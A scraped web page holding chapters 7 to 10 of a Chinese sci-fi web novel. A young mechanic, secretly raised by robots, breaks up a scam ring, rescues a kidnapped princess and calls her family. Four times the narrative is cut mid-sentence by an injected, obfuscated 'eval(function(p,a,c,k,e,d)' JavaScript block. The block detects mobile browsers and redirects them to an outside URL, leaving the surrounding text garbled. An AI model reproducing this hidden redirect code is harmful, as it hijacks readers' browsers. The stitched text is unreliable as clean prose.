宣讲人抑扬顿挫:“老话说,生意人都有一本生意经,那么生意经是什么呢?答案就是我们的思维方式,而思维方式如何培养呢?那就不得不提到我的经历了,我上了钱大师两堂教学课,人生从此就像开了挂,八天回本,一个月赚了五百万!” 众人:“哇!” 时嚣:“哇!” 灰眸:“……” 宣讲人声嘶力竭:“而今天!钱大师全星系巡回讲座!门票不要钱!简直做慈善啊家人们!我两堂课五百万,你们一堂课就二百五了呀!” 众人:“哇!” 时嚣:“哇!” 灰眸:“……”但凡给篮鸡蛋呢。 他收回鄙夷离开人群,没多久又停下,一回头发现凑热闹的傻子已经跟着那群托离开了。 果然再粗糙的诈骗手法也有傻子信。 他嗤笑一声,心想蠢到这份上就活该被骗,他可没有多余的同情心。 可是脚步却怎么都迈不出去。 最终,他烦躁地抓了两把头发,回身愤然追上。 另一边,被贴上傻子标签的时嚣越走越偏,直到来到一个简陋的仓库。 她没看到白发苍苍的高深大师,只看到一个吊儿郎当的黄毛。 “大师呢?”她左顾右盼。 “小妹妹,想见大师呀?”黄毛笑嘻嘻地靠近,“想见大师可不容易,得先买大师的书,也不贵,八万八千八百八十八。” 时嚣倒吸一口凉气,这得卖多少台机甲才能挣回来。 她选择放弃。 “想走?可由不得你。” 一同前来的“观众”不声不响关上大门,把她团团围住。 时嚣反应慢一拍,后知后觉意识到不对。 她小幅度歪了下头,侧颜落下半边阴影,看着有点冷。 “你们,抢劫的。” 黄毛收起笑容故作严谨:“怎么能这么说我们呢,我们分明是诈骗。” 周围哄堂大笑。 而时嚣, 时嚣沉默,时嚣委屈,时嚣破碎。 遇到坏人了,他们喊着家人啊赚钱啊什么的就来抢劫了。 黄毛:“就当给你人生上一堂课了,看模样你刚上大学吧,乖乖把学费交出来,不然的话……呃!” 劲风袭到鼻尖再反应时已经迟了,他是第一个倒飞出去的,砸出的坑也是最深的。 时嚣目光沉沉,踹开一个偷袭的,夺了对方手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094451|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的钢刀,在众人见鬼般的注视下精准劈开后方射来的消音子弹。 眼见情形不妙,站位靠后的人赶忙搬出压箱底的大杀器,那是一台通体银白的战斗型机器人。 随着机器人的加入,局势有了回缓。 众人放下心来,那可是因杀伤力过强被统一销毁禁止售卖的杀人机器,他们费好大力气搞回来的顶级货,这几年他们就是靠这大家伙才有底气为非作歹。 时嚣很愤怒。 她觉得外面的世界都变得面目可憎,她芣浍侢嬡了,她……欸?等等。 时嚣定定地注视跟她对打的机器人。 钢铁骨架笔直有力,机械眼睛射出明锐的红光,最重要的是,它的手指灵活地弯曲着,轻易握住了两架迫击炮。 精巧的手指,太适合握锅铲做家务了。 她骤然兴奋起来,绕开攻击的同时手中力道不减,接二连三踹飞所有骗子。 墙壁砸出一个又一个裂坑,哀嚎此起彼伏。 她扛着机器人三百六十度无差别的扫射解决掉最后一人,没有任何喘息和犹豫便正面迎上它的攻击。 其实有更简洁快速的方法结束战斗,但这台质量不错的机械造物引起了她的兴趣。 机器人火力很猛,除了刁钻的弹道,手上的量子剑在四面墙壁和地板上留下无数痕迹,狠起来连自己人都伤。 她耐心试探许久,遗憾发现它比小智障还要智障,喂了好几次招式依然只会固定输出,并没有根据她的攻势变换而见招拆招。 结束周旋,时嚣掂量两下钢刀,再次莽了上去。 一旦她不再躲避,局势瞬间反转。 时嚣动真格后根本没有防御的概念,朝她早就盯上的弱点砍去,惊人的速度快过了机器,重击下机器人连连倒退,程序尚未锁定目标就迎来了第二刀第三刀。 一刀接着一刀,力道、角度不偏不倚,像是机器精确计算过一般,每一刀都砍在相同位置,擦出的火星来不及熄灭,聚成四溅的火花。 钢刀刀刃卷曲,金属凹陷渐渐加深,直到供能总闸处的外壳彻底破开,机器人暗红的瞳孔因断触忽明忽暗。 遒劲的刀风铮铮作响,将将悬停在暴露的总闸前。 刀柄震颤不止,时嚣以堪称恐怖的掌控力收住了最后一刀。 她面对卡顿的机器人站定,抬手慢条斯理按下外曝的总闸按钮。 拾取完好的机器人×1。 时嚣开心了,她给小智障找了个智障小弟,这台机器人虽然攻击方面弱了点,但无论外形还是材质底子都不错,适合改造成保姆机器人,用来补足小智障的短板。 外面的世界又变得温柔可亲了。 把机器人叠巴叠巴塞进空麻袋,她把仓库摸排一遍,拍拍鼓鼓囊囊的腰包,脸上溢出来的满足像是个丰收的农民。 最后拍了张哀嚎大队的照片发给城管。 诈骗应该也算违规经营,多少冲个业绩。 她哼着歌离开,恰好和一闪即过的雾灰错过。 迎着晚风,她悉数第一天来到陌生星球的收获,感到分外充实。 离家前妈妈特意叮嘱,他们星球文明落后几百年,没办法为她撑腰,所以她在外面要遵纪守法,尽量融入集体。 妈妈还说,好不容易出趟远门,要与人多接触多交流,学习他们的为人处世,遇到恶意要以牙还牙,收获善意也别忘了传递下去,前者她做到了,后者还没找到合适的机会。 正想着怎么做好人好事,超乎寻常的听力忽然捕捉到一阵微弱的求救声。 时嚣靠近右手边墙壁,耳尖动了动,蓦地灵光一闪。 “要把善意传递下去。” 她嘀咕着卸下手环,不起眼的机械顷刻间变成剑柄的形态,量子能量凝聚。 银光划过,厚重的墙体坍塌,量子剑贴着手腕变回无害的模样。 没等时嚣开口,灿烂的金色长卷发扑进了她的怀里,一张脏兮兮的、猫儿似的漂亮脸蛋抬了起来。 “你怎么才来呀!” 猫猫喵了一声。 8. 第8章 撞上猫猫湿润的水蓝色瞳孔,时嚣被萌到了,心脏某处不由得一软。 楚珈玉以为是她的管家到了。 娇生惯养的小公主从来没有受过这种委屈,她呆在脏乱昏暗的牢房里,站累了也不肯坐下,直到模糊的身影出现在视线里,澎湃的信赖感充斥心间,她想像小时候一样扑进对方怀抱,谁知掌心触碰到的身体肌肉匀称充满力量,是区别于年长女性的健美。 “我听到你求救了哦。”时嚣察觉到她认错人的无措,放轻声音安慰,“别怕,我带你走。” 听到温和的安慰,楚珈玉紧绷的神经彻底崩溃,止不住流泪颤抖:“他们绑架了我,听到动静马上就会过来。” 她猜得没错,话音刚落房门就被暴力踹开。 时嚣立在切割平滑的三米厚空洞外,穿堂风把她的淡定卷去对面人眼底。 赶来的守卫惊悚,面前景象突破了他的认知。 帝国军队呢?只有一个人怎么破坏特殊金属墙的?墙体材料隔绝一切信号她又是怎么确认人质定位的? 无言的震惊和沉默只持续了短短一秒,一秒后时嚣打横抱起楚珈玉,掉头就跑。 混乱的警报声响起,炮火与激光齐飞,直升机席卷风浪,吹乱了她的长发。 头顶眩目的探照灯精准打到她们身上,利剑般撕裂阴影,让人无处遁藏。 强烈的刺激下时嚣没有眨眼,只平静地抬眸,看到一束红光后认出那是什么,眼睛微微眯了下。 看出来对方有所顾忌,不敢大范围轰炸,她便用低矮的建筑充当盾牌。 躲开密集的扫射,她奋力奔跑的同时留意到后方紧追不舍的追踪弹,即将撞上墙壁前纵身一越,忽略身后爆炸的热浪和爆鸣继续向前。 感受到怀中细微的战栗,她顺手拍拍以示安抚。 极端紧张的状态下楚珈玉甚至发不出尖叫,直到发尾被火星点燃,心悸与崩溃才和头发一起燃烧起来。 她似乎找到了情绪爆发的发泄点,抱住保养细致的金发嚎啕大哭。 忽然,一个腰包掷进她怀里。 楚珈玉呆愣愣地仰头,对上一双极其专注的眸子。 只一眼,比刺眼的探照灯光还要夺目,这一刻她仿佛看到了永恒不灭的启明星。 不知从哪涌出的勇气,她翻找腰包,从来只会插花绘画的手握住了一把危险的匕首。 黯淡的金色发丝割裂,有几缕缠进了肆意张扬的黑发之中。 深沉的夜色下,整个世界压在她们身上,四周景象愈发模糊不清,酷冷的风撕扯呼啸。 楚珈玉吞下无声的呜咽,强行止住颤抖,用时嚣的光脑给只有自己知道的特殊号码发去求救信号和定位。 做完一切,她蜷缩进温暖的臂弯,依赖地聆听强劲有力的心跳,慢慢镇定下来。 时嚣分了部分注意力给怀中的人,因此第一时间察觉到她的转变。 是个勇敢的漂亮猫猫耶! 她动力更足了。 滚烫的汗水被纤长的睫毛接住,很快被高温蒸发,与提到极致的体能相反的是清醒到极点的大脑。 外面世界还是很有意思的嘛,换成渺无人烟的老家哪有这种人山人海的待遇。 她又往上瞥了眼闪烁的红点,继续把人往狭小难行的巷子引。 后面的脚步声逐渐混乱乏力,随后被新一批替代,周而复始,追击的人不断变化,唯有时嚣以碾压式的耐力淋着枪林弹雨把所有人甩在身后。 遛人许久,火力逐渐变得杂乱暴躁,有种羞恼的意味。 时嚣知道时间差不多了,脚步一转往另外一个方向跑去,她乘星轨时看到过一片写满“拆”字无人居住的房屋。 脚步声渐远,笼罩她们的白光缓缓转为赤红。 就连楚珈玉都激发出了小动物般的警觉,刚要抬头被按了回去,视线被温热的手掌阻挡。 “会有点刺眼。” 清凌凌的声线令人安心,楚珈玉听话闭眼。 渗入眼皮的亮光令她不自觉攥紧手边时嚣衣领的布料,旋即爆破声如雷鸣般贴耳炸开,热气急速膨胀,地面剧烈震动,无形涌动的能量翻滚碰撞,血红射线所过之处房屋湮灭成埃土。 足以融化一切的脉冲射线眨眼间荡平大片区域,弥漫在空气中的微小颗粒物形成一片灰蒙蒙的景象。 迟来一步的皇家骑士队看到这幅场景只感到天崩地裂。 “你们是死的吗?反击!一个都别想跑!让他们给殿下陪葬!” 宫廷管家的怒喊拉回他们的心绪。 空中,第一军□□出的搜救飞船二话不说笔直撞上预备逃逸的直升机,地面上更是剑闪炮鸣。 一片混乱中,管家即便知道希望渺茫,也要带领哭泣的侍从们冲向灼热的凹地。 泪水顺着管家稍显刻薄的颧骨淌下,向来不苟言笑的中年女人心头悔意无尽泛滥。 她的公主殿下刚成年不久,怎么就葬送在最美好的年纪了呢?她从没想过有朝一日皇家骑士队也会出现叛徒,和不知名势力里应外合劫走公主,反复放映的监控录像里柔弱的公主没有任何反抗能力。 明明皇室里那么多孩子,明明想要得到超级机甲的最佳方式是绑架拥有它的王储本人,偏偏被盯上的却是最柔弱的小公主。 如果公主殿下会驾驶机甲就好了,如果公主殿下有自保能力就好了…… “嗯?!” 管家突然扯住身旁侍女的胳膊,急促道:“你有没有听见什么声音?” 侍女侧耳。 是哭声,虚无缥缈的哭声。 侍女缩起脖子惊慌:“有鬼!” “蠢货!是殿下!殿下还活着!” 管家抛掉端庄大步奔跑,边跑边呼唤楚珈玉。 楚珈玉不住地发抖,缓了很久终于鼓起勇气睁开眼睛。 时嚣单膝跪地,正以保护的姿态把她圈在怀里,见她回神,眼里有了起伏的笑意:“不用害怕,没事啦。” 楚珈玉猛然倾身搂住她脖子,不顾形象地大哭,好半天才把压力宣泄殆尽,眼泪糊了一脸。 哭声渐小,时嚣把人从地上扶起来,一边给抽抽噎噎的女孩擦脸,一边打量四周。 拆迁区夷为平地,省时又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094452|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 省力,今天好人好事+2了呢。 回想仪态尽失的自己,楚珈玉扭捏地瞄了时嚣好几眼,犹豫要不要遵循礼仪行个贵族礼道谢,但在看到灰扑扑的裙摆后又放弃了,她抿了抿唇轻声道:“谢谢你救了我,我叫楚珈玉。” “我叫时嚣。”时嚣摸到了心心念念的猫猫脑袋,金发柔软顺滑,手感和她想象中一样好。 “你没事吧?有没有受伤?”楚珈玉担忧地问道。 时嚣:“没有。”这才哪到哪,跟和虫子战斗相比差远了。 “我平时不这样大呼小叫的。”楚珈玉抓皱了袖口的蕾丝边,细声细语道。 时嚣看过纪录片,知道有的猫猫可以同时拥有“咪咪”和“丧彪”两个名字,偶尔没夹住很正常。 “你已经很勇敢了。” “真的吗?” 面对水灵灵的大眼时嚣哪里忍心说不是。 她诚恳道:“真的,很多人遇到危险都冷静不下来,你不但很快调节好情绪,还向外界发出了求救信号,你当时的眼神像豹子一样坚韧,我第一次遇到危险的时候还只知道哭呢,你很优秀。” 时嚣隐下自己第一次遇到危险不到五岁的事实,采用举例论证比喻论证对比论证从各种角度严谨地肯定了楚珈玉。 被认可的楚珈玉按住砰砰直跳的心口,思维混乱下脱口而出:“那我们可以成为朋友吗?” “当然。”时嚣毫不犹豫。 “那我回去就加你好友,我用光脑发信息的时候看到你的账户ID了。” 时嚣对光脑不太熟悉,回忆了下:“是那串十三位字母与数字排列组合的编码么?” “嗯嗯。”楚珈玉拉着她的衣袖晃了晃,“我叫‘玫瑰’,你记得通过我的好友申请哦。” 她的思绪尚且有些混乱,总感觉遗忘了什么,直到听到沉闷的呼叫茫然回首,看到熟悉的面孔终于记起来救援队伍的事。 往常一言一行都符合刻板教条、仿佛随时会拿出一本礼仪规范厚典的管家形象全无,疯狂拍打拦截她们的透明保护罩。 看到她这样,眼泪再次夺眶而出。 楚珈玉期盼地看向时嚣,她知道这个保护罩一定是对方的手笔。 “你的家人来接你了。”时嚣收起隔断,炙热的空气和纷飞的尘埃前赴后继挤压过来。 她迅速塞了个保护罩分罩给楚珈玉,在她被人围住检查是否受伤时后退,麻袋往肩上一甩。 “我也要回家了,拜拜。” “等……” 第一个音节还没完整发出,时嚣已经跑远了。 “拜拜。”楚珈玉盯着她的背影,很小声地说。 见失而复得的公主直勾勾眺望远方,管家这才意识到时嚣就这么做好事不留名了。 赏赐、嘉奖、勋章,她习惯性想了很多,但现在最该做的是带公主转移到安全区域,于是吩咐人保护楚珈玉。 “我不怕,小嚣给了我保护罩。”楚珈玉从保护圈中挣脱,拎起裙摆恢复以往的骄傲,又多了一份从前没有的果敢。 时嚣,她想到这个名字胸腔便充满勇气。 9. 第9章 被人记挂的时嚣可算抵达港口了,这回路上没再碰到坑蒙拐骗打家劫舍。 只是港口比她来时繁忙许多。 她赶到早上发现的绝佳着陆点后,约莫有上百架机甲正在仓皇撤离,空中有两艇战舰接应,地上还有一艘专门载人的飞船预备起飞,引擎声不断回荡在广阔的港口之上。 地面传来震感,紧接着训练有素的军方赶到,撤离的那批人立即警惕。 场面愈加混乱,烟尘火花漫天飞舞,撤离队伍显然缺乏战斗素养,很快溃散,其中一部分机甲毅然断后。 “反抗军的各位,不要听信你们高层的花言巧语!放弃抵抗者我只当你们被蛊惑!”粗犷浑厚的声音响彻港口。 “滚你大爷的还来这套!上次信了你们的人全被弄死了!” “什么狗屁绑架也要赖到我们头上,不就是想找借口把我们端了,装什么装!” 断后的机甲没一个敢疏忽大意,火力输出一个赛一个猛,都做好了牺牲的准备。 扩音器里显然是个一点就炸的暴脾气,闻言也来火了:“放你大爷的狗屁,你们假装投降自爆害死了我们那么多后勤!这都是你们高层洗脑的阴毒手段!” “谎话连篇!骗子敢做不敢当!虚伪!” “不知悔改!白痴活该被洗脑!愚蠢!” 时嚣听力本就异常敏锐,被他们吵得头疼。 她幽幽盯着战火中起飞的飞船,心里郁闷。 这个废弃停泊点明明是她先发现的,飞船用的还是她早上修复的助飞装置。 听说过蹭吃蹭喝,怎么还有人蹭飞啊! 那她怎么回家! 不对。 所有人都在废弃停泊点,那现在正常停泊点是空闲的。 时嚣后知后觉,远远观望了会儿废弃点激烈的局势后迅速转移地点,从收纳手环里放出轻型舰。 她的离开并没有引起注意。 早晨抵达帝都星外围她才发现私自入境的行为貌似不太符合规定,于是顺手抹掉了自己的非法入境记录,再开启信号屏蔽,直到现在也没有解除。 没被抓到就相当于什么都没发生,她还是个遵纪守法的好商人。 轻型舰冲破天际,在杂乱的背景中悠哉悠哉启航。 时嚣归心似箭,所以不知道她走后阴差阳错引发的动乱。 第七军团长听到副官的报告后面沉如水。 “你的意思是,C07起飞装置无缘无故启动,雷达没有探测到任何飞船战舰,并且周围所有信号断联了足足十分钟?” 副官硬着头皮点头。 “蠢货!那一定是反抗军的重要骨干!”第七军团长拍案而起,急得来回踱步,“废弃停泊点的一切行为都是掩人耳目,就是为了护送这个人离开!” “该死,一定有别人在背后支持他们,不然他们拿不出这么强的干扰装置!” “难道是联邦?和平议会才结束就敢闹这么大动静?不管了,先分一部分人去追,即刻把消息上报!” 副官被吼得耳膜疼,赶紧去传达命令。 反抗军发现帝国火力减弱,虽然不知缘由,但他们抓住了机会迅速扫尾撤离。 * 引发一系列蝴蝶效应的时嚣收起小翅膀,稳稳返回星舰。 “小嚣,欢迎,回家。”等待许久的小智一见到她就迎上来。 “今天交易到了一个新材料,你的中心轴承有着落了,另外我还给你找了个小弟。”时嚣放下麻袋,“不太聪明也不太能打,但是关节灵活适合做家务,等改造好了给你作伴。” 小智赤瞳弯成了波浪线。 “我有新的想法。” 时嚣一旦灵感迸发就停不下来,还没进主舱门就开启一个保护罩,示意它破坏。 小智顺从抬手。 时嚣眼里满是专注,一道微弱的灵光穿透薄雾稍纵即逝。 今天那道脉冲射线几乎达到保护罩强度的临界点,虽说用更强的能量对冲或者再升几道保护罩削弱缓冲都行,可她不乐意自己的造物有缺陷。 她的保护罩必须是最强的盾。 模糊的念头逐渐清晰,沉思的时嚣忽而抬头,嘴角扬起兴奋的弧度。 “含有分解吸收能力的晶石,排除掉能量稀薄的,库存里还有四万三千七百五十二种,先把吸能转化率提高,然后……”时嚣习惯性呼唤,“蓝蓝开工,小智把小二带上。” 反应过来主脑在休眠,她看了眼5%的升级进度,转而招呼复制体给她打下手。 “小嚣,休息,零件,发烫。”小智追在后面反复提示,大有得不到回应就不停的架势。 “我只是因为剧烈运动体表温度偏高,内部零件没有问题,你不用担心我,我搞个雏形就休息。”时嚣正在兴头上,谁劝也不听。 她一头扎进工作室,直到小智拒绝端来第三杯提神营养液,才依依不舍地出来。 而这时时间已经到了第二天中午。 “得抽空给你更新一下我的数据,不然你总怕我零件报废。”时嚣弹了下小智的铁脑门。 “请复制一份给我,主人。”取名“小二”的保姆机器人跟在后面发言,经过改造后无论神态还是动作都有了真正类人的神韵。 时嚣应允,随后打了个哈欠,眼角沁出泪花。 身体是疲惫的,但是一想到保护罩2.0,神经又开始跳跃。 “大星系不好混呀,路上随便走走都能遇到袭击。” 她神采奕奕,对未来充满期待:“我要再接再厉,与时俱进,学习最新的机械技术,做出最厉害的机甲!” 她要把她的机甲打造成世界上最强的矛! “那如果我的机甲砍我的保护罩呢?”时嚣开启新一轮思考。 小智知道拦不住主人发散的思维,又没有能力强制她休息,只好反复抽动眼角螺丝,给新上任的小弟使眼色。 小二蜂窝状的赤瞳从老大平移到主人,适时出声打断越来越兴奋、脚尖缓缓朝向工作室的时嚣。 “主人,以下是您尚未读取的信息。” 人工合成的冷硬音质响起,时嚣面前浮现出一个跟随她走动的透明屏幕。 “‘好人(绿洲)’于昨日23:54留言[我整理好黑市线上交易的账号注册流程发你了,身份信息不用据实填写]。” “‘城管(亚特兰蒂斯之光)’于昨日5:10留言[加班顺路,已羁押],今日6:00再度留言[替你申请了优秀公民奖金,三天后流程就能批下来]。” “‘玫瑰与启明星’分别于今日凌晨5:15和5:45发来两条好友申请,第一条备注[我是你的朋友珈玉,已经安全到家,第一时间给你发来消息啦,你到家了吗],第二条备注[你已经睡了吗?那我不打扰你了,晚安~]。” “另外。”小二切屏,“您封闭工作期间有三通来自您家乡的未接通讯,时间分别是9:00,10:00,11:00,按照规律95%的概率会在12:00再次来讯,也就是四十二分钟后。” 时嚣可算打消了返回工作室的念头,揉了把炸毛的头发:“那我得先收拾一下自己。” 她抓紧时间洗漱,吃上了离家以来第一顿热饭。 小二兜着围裙,那双质感冰冷的机械手接连端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她目光慈爱如春风轻抚:“也就是说,你在短短一周内弄清楚物价、找到开店方法、积攒交易经验、赚取启动资金、找到新的客源,重点是还交到了新朋友?” “是的没错。”时嚣骄傲昂首。 “辛苦了宝贝,你从小就对机械感兴趣,希望你在外面能找到你想要的东西。”时妈妈把她拥到怀里,亲吻她的发丝,“但是也要劳逸结合哦,该休息的时候就得休息。” 时嚣心虚,这才离家几天,她就打破了连续十八年早睡早起的记录。 她岔开话题:“爸爸和哥哥去哪了?” 时妈妈挪动脚步,虚拟视角随之转换。 窗外山清水秀的美丽世界正是她生长的地方。 “你说想要一些蓝色宝石,你哥哥立刻就出门帮你收集了,那些宝石附近有很多虫子,收集起来需要时间,所以他还没回来呢。”时妈妈解释。 时嚣捕捉到关键信息:“哥哥也没按时睡觉。” 时妈妈忽悠小孩信手拈来:“哥哥不用长高,可宝贝要长个子的呀。” 想到哥哥高大健壮、宽肩窄腰、黄金比例的身材,时嚣挫败了:“那我以后还是要按时睡觉。” 全家只有她矮矮的。 短暂沮丧后她很快振作,除了外表上的短板,其他方面她都不差。 她又问:“爸爸呢?他不想我吗?” 时妈妈神情柔软了几分:“当然想,你爸爸想你想得天天流机油,一不小心把视觉传导芯片哭短路了,刚把脑袋拆下来维修呢。” 10. 第10章 说曹操曹操到,时爸爸一路火花带闪电冲进视频通讯,立体投影精准到把他眼角冒火的线路复刻下来。 他不耐烦地把暴露的线路往回塞,余光瞧见时嚣期待的目光后快速整理好表情,空闲的手往前一揽,给宝贝女儿一个大大的拥抱。 时嚣好奇伸手,触碰“滋滋”四溅的火花。 通讯有保护程序,并未触发痛感。 “好痛哦,小嚣呼呼爸爸就不痛了。”时爸爸同样身高近两米,却长了一张阳光开朗的娃娃脸,笑起来眼尾略微下垂,天然惹人亲近。 时嚣乐得配合,即便知道他没有痛觉传感。 她是最类人最均衡的机械造物,除了身高没有任何短板,而家人则是老版本的机器人,能力方面有不同的优势侧重。 比如爸爸点亮了厨艺,手长腿长速度快不怕痛,很会颠勺。 时爸爸笑逐颜开:“我们家小嚣最好咯!不愧是爸爸的贴心防弹衣。” “小嚣要继续保护爸爸哦,爸爸是最脆弱的服务型机器人。”他眨眨眼,捧住强悍有力的机械心脏,“刚才共享视角看到你说昨天那么辛苦,爸爸心疼得不行呢。” 儿童教育书籍上说,家长适当示弱能培养孩子的自理能力和动手能力,这一招他屡试不爽。 果然时嚣郑重承诺会纠正错误作息。 又聊了一会儿两边才结束通讯。 投影消失的瞬间,时妈妈嘴角温柔的笑容消失了。 时爸爸仍然嬉笑着:“你说我要不要加个痛觉传感?” 时妈妈冷漠地睨他:“你一个战斗型机器人加什么痛觉传感,要是小嚣在外面受委屈了咱们还得撑场子。” “也是。”英俊的男人哼哼,“要我说保持之前的样子不挺好,小嚣会逻辑自洽的。” 时妈妈皱眉:“你六十万本教育书籍白看了,不能用自己的意志把孩子困住,爱她就要给她选择的权力,况且。” 她语气变得柔软:“孩子总要长大的,借口也会过时,她是个人类,有血有肉,心跳会变速,受伤会流血,和我们终归不一样。” 时爸爸不以为然:“可小嚣之前一直好好的,我们说的话她也都信了呀。” “你忘了定期检修,全家只有她脑袋拆不下来的时候她失望的眼神了吗?也许她早就有所察觉,只是一直在自我催眠。” 吃饭睡觉之类的行为他们可以伪装,尽量让时嚣意识不到自身的不同,但是人和机械之间到底有本质的差别,譬如身高,譬如伤口,譬如天马行空的思想。 时爸爸不说话了,片刻后叹了口气,忧虑道:“小嚣能适应新生活么?她长这么大从来没离开过我们身边,也没有接触过其他人类。” “当然能,我们这种杀人机器都能在捡到小嚣后学会缝衣服做饭,小嚣的学习能力只会更强。”时妈妈是雷厉风行的性格,“与其焦虑小嚣的生活,不如想想怎么升级战斗系统为她保驾护航,人类的创造力你清楚,只要不再搞制衡打压那一套,这五百年足够让他们的科技甩开我们一大截。” “你说得对。”时爸爸擦干眼角机油,绮丽的面容闪过机械种族特有的狠戾,“任何人都不能伤害我们的小嚣。” * 【“买机甲找我”通过了您的好友申请】 光脑屏幕弹出一行字,楚珈玉心跳漏了一拍。 通过了! 安全回来以后,明明身体疲惫到了极点,但她还是睡不着觉,就这么抱着膝盖坐在床上,睁眼到了现在。 她点开对话框,聊天界面空空如也,只有系统提示的好友申请已通过。 用什么作为开场白比较好呢,说“小嚣你好,我是你的朋友珈玉”,还是说“还记得我吗,我是昨天的珈玉”。 不行不行,都好生硬。 她的思绪不受控制地回到昨晚。 昏暗的牢房,无尽的绝望,每一分钟都有一个世纪那样漫长,直到那道身影出现。 她说别怕,我带你走。 眼神温柔而坚定。 楚珈玉咬了咬下唇,好半天才输入一段话。 【玫瑰与启明星:小嚣你好,我是珈玉,昨天晚上真的很谢谢你】 发送出去后,她把光脑扣在胸口,仿佛这样就能平息剧烈的心跳。 过了大约五秒,光脑震动了一下。 【买机甲找我:朋友你好,我是时嚣,三天后我要去帝都星,一起玩吗】 一起玩吗? 一起玩吗! 楚珈玉“噌”一下挺直腰板,蒙上困顿的眼睛瞬间变得明亮,她想也不想就回复没问题,又接一句“我全天有空”,生怕错过见面机会。 回完消息她慢半拍疑惑,为什么要说“帝都星”?她已经离开了吗? 【买机甲找我:我上午要去一趟第一军团基地,我们约午饭吧】 疑问立刻抛诸脑后,她欢天喜地答应下来。 又过了十秒,对面分享了一张星空的照片。 【买机甲找我:今天看到了一颗很漂亮的星星,期待和你见面】 【买机甲找我:猫猫跳舞.jpg】 楚珈玉抱着光脑在床上打滚,很快在纠结当天穿什么和吃什么中睡了过去。 约完饭的时嚣从头检查了一遍对话。 和朋友是该这么交流吧? 她对着主脑复制体给出的“增进感情三十式”思考。 保持见面频率,尝试新鲜美食,乐于分享生活,培养一些共同的爱好,为对方取亲密昵称,必要时刻适当拉近物理距离有助于感情升温…… 她认真学习并付诸实践。 唯一难倒她的问题是—— 该怎么界定是不是朋友呢? 搜索出的答案建议自己体会,她体会不出来,下次还是直接问吧。 “三天后提醒我去帝都星。”她和游元起有约在先,要去领取优秀公民奖金。 主脑复制体依言照办,设置完成后提示地图上出现了三艇战舰和一艘飞船,时嚣按照它分析模拟出的三维模型认出是蹭她助飞装置那群人。 热感应显示那边正在交战,火力十分猛烈。 时嚣来到控制台,扫了眼地图上的红点,不由得再次感慨:“外面的世界真危险。” “小嚣,休息。”小智又开启新一轮催促。 “好好好,这次一定。” 所有事情做完,迟来的倦怠爬上躯体,时嚣刚准备回卧室,忽然扫到地图上飞船的红点正在靠近。 停下看了一会儿,红点越来越近,正琢磨对方行进路线会不会经过,身旁传来“咔嚓”一声,是枪械进入待发状态的声音。 时嚣疑惑,望向突然上膛的小智。 机器人的赤瞳变成怒气冲冲的倒扣斜半圆,把枪口对准远处航行的飞船。 “打扰,休息,不可,饶恕。” 好不容易磨到主人同意休息,居然又被打断! 小智很生气!后果很严重! 时嚣摸摸它光滑的头盖骨,气到发热的零件温度很舒服。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094454|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她谆谆教诲:“来点生意不容易,我们暂时没有店大欺客的本钱。” 小智怏怏收枪。 说话的工夫飞船到了家门口,在不远处停驻。 “店没开在帝都星上,不算违规经营。” 时嚣嘟囔着转身,给自己洗了一遍脑,然后搬了个小马扎,抱着水杯往门口一坐,等客上门。 她完全没意识到太空中出现一座建筑有多引人注目,更体会不到死里逃生的人惊惧与困惑交加的心情。 “老大,要绕路么?现在绕路的话可能会被孤狼星盗团追上。”掌舵的年轻女孩手心汗湿,紧张地盯着远处蓦然出现的庞然大物。 小时机械店?这是什么诡异的东西?这种地方怎么会有一间店铺? 没等到首领回应,旁边的男人急切接话:“前面不会是帝国追兵吧?我们摆脱追捕后又被孤狼星盗团捡漏,实在没力气再打了。” 另一个累到嘴唇发白干裂的女人剜了他一眼:“你能不能动动脑子,要是帝国的人能给我们先出手的机会?我们一路过来都没发现它,它要动手我们早没了。” “你说谁不动脑子,刚才是谁为了掩护你挨了一刀!”男人怒目。 女人撇嘴:“行行行,这回你断后你最大,你动了脑子,只是风声鹤唳行了吧?” “风和什么日丽,别给我拽成语,老子没上过学!” “……” “刑哥,博雅姐的意思是你被吓破胆了。”下属小声提醒。 刑宽:“?!” “我吓破胆?凭空出现的店铺有眼睛都知道有问题好不好?这时候就该谨慎为上!” “你什么逻辑,我又没说不该谨慎,我是笑你看什么都像帝国军队,明白不?” 狼狈撤离后众人本来火气就大,找到机会便一通宣泄。 